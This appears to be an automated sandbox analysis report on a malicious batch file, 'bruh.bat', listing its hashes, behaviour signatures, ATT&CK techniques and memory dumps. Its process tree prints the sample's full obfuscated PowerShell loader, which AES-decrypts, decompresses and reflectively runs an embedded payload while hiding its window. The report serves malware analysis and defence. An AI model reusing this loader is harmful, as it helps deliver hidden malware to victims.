25e9e2452ab80045dbc60e1781170534211733b329cf63817fcec01e02dc9491

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
23/08/2024, 02:04

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General

Target
bruh.bat
Size 3.4MB
Sample240823-chdnsasbpn
SHA256 25e9e2452ab80045dbc60e1781170534211733b329cf63817fcec01e02dc9491
MD5 bf50ed4bfb702f51837dad565fdce9fc
SHA1 a8cf36df90b9a2df2afc72026a0b3e9ed13b739b
SHA512 d140766c0ef4b390397893cb26949c958654c28c13a7cb80ef80a111f0891e3fb2643ddf27fef77bcd76e61b02afde10581ae71b98117134158d9ab0ded53104
SSDEEP 49152:43A6IQI5RqmiNuevBY3uiMBzo02xBaEIG:l
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2544	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2544	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2544	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2440 wrote to memory of 2304	2440	cmd.exe	31
PID 2440 wrote to memory of 2304	2440	cmd.exe	31
PID 2440 wrote to memory of 2304	2440	cmd.exe	31
PID 2440 wrote to memory of 2544	2440	cmd.exe	32
PID 2440 wrote to memory of 2544	2440	cmd.exe	32
PID 2440 wrote to memory of 2544	2440	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\bruh.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function JzOrv($JOVmI){ $EZedT=[System.Security.Cryptography.Aes]::Create(); $EZedT.Mode=[System.Security.Cryptography.CipherMode]::CBC; $EZedT.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $EZedT.Key=[System.Convert]::FromBase64String('d6Y2cCuVt0qzVamv48i3xay/VeKI+dRjXg3vU0rh814='); $EZedT.IV=[System.Convert]::FromBase64String('Bo7SK+5cR91VaSDnn2FoGg=='); $cAjNt=$EZedT.CreateDecryptor(); $wIxxf=$cAjNt.TransformFinalBlock($JOVmI, 0, $JOVmI.Length); $cAjNt.Dispose(); $EZedT.Dispose(); $wIxxf;}function uykma($JOVmI){ IEX '$pQDpF=New-Object System.IO.M*em*or*yS*tr*ea*m(,$JOVmI);'.Replace('*', ''); IEX '$ddPtx=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$kYJFf=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($pQDpF, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $kYJFf.CopyTo($ddPtx); $kYJFf.Dispose(); $pQDpF.Dispose(); $ddPtx.Dispose(); $ddPtx.ToArray();}function dYMzv($JOVmI,$FyHcy){ IEX '$nWeiW=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$JOVmI);'.Replace('*', ''); IEX '$mVrtd=$nWeiW.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$mVrtd.*I*n*v*o*k*e*($null, $FyHcy);'.Replace('*', '');}$GxxuI = 'C:\Users\Admin\AppData\Local\Temp\bruh.bat';$host.UI.RawUI.WindowTitle = $GxxuI;$mmNci=[System.IO.File]::ReadAllText($GxxuI).Split([Environment]::NewLine);foreach ($ZhwgB in $mmNci) { if ($ZhwgB.StartsWith(':: ')) { $AUgXv=$ZhwgB.Substring(3); break; }}$GEWnH=[string[]]$AUgXv.Split('\');IEX '$xeNzk=uykma (JzOrv ([*C*o*n*v*e*rt]::*F*r*o*m*B*a*se6*4*S*t*ri*n*g*($GEWnH[0])));'.Replace('*', '');IEX '$ayRbn=uykma (JzOrv ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($GEWnH[1])));'.Replace('*', '');dYMzv $xeNzk $null;dYMzv $ayRbn (,[string[]] ('%KfkGZ')); "
  2⤵
  PID:2304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2544-4-0x000007FEF5D2E000-0x000007FEF5D2F000-memory.dmp

Download

memory/2544-8-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Download

memory/2544-7-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Download

memory/2544-5-0x000000001B570000-0x000000001B852000-memory.dmp

Download

memory/2544-9-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Download

memory/2544-6-0x0000000002C00000-0x0000000002C08000-memory.dmp

Download

memory/2544-10-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Download

memory/2544-11-0x000007FEF5D2E000-0x000007FEF5D2F000-memory.dmp

Download

memory/2544-12-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Download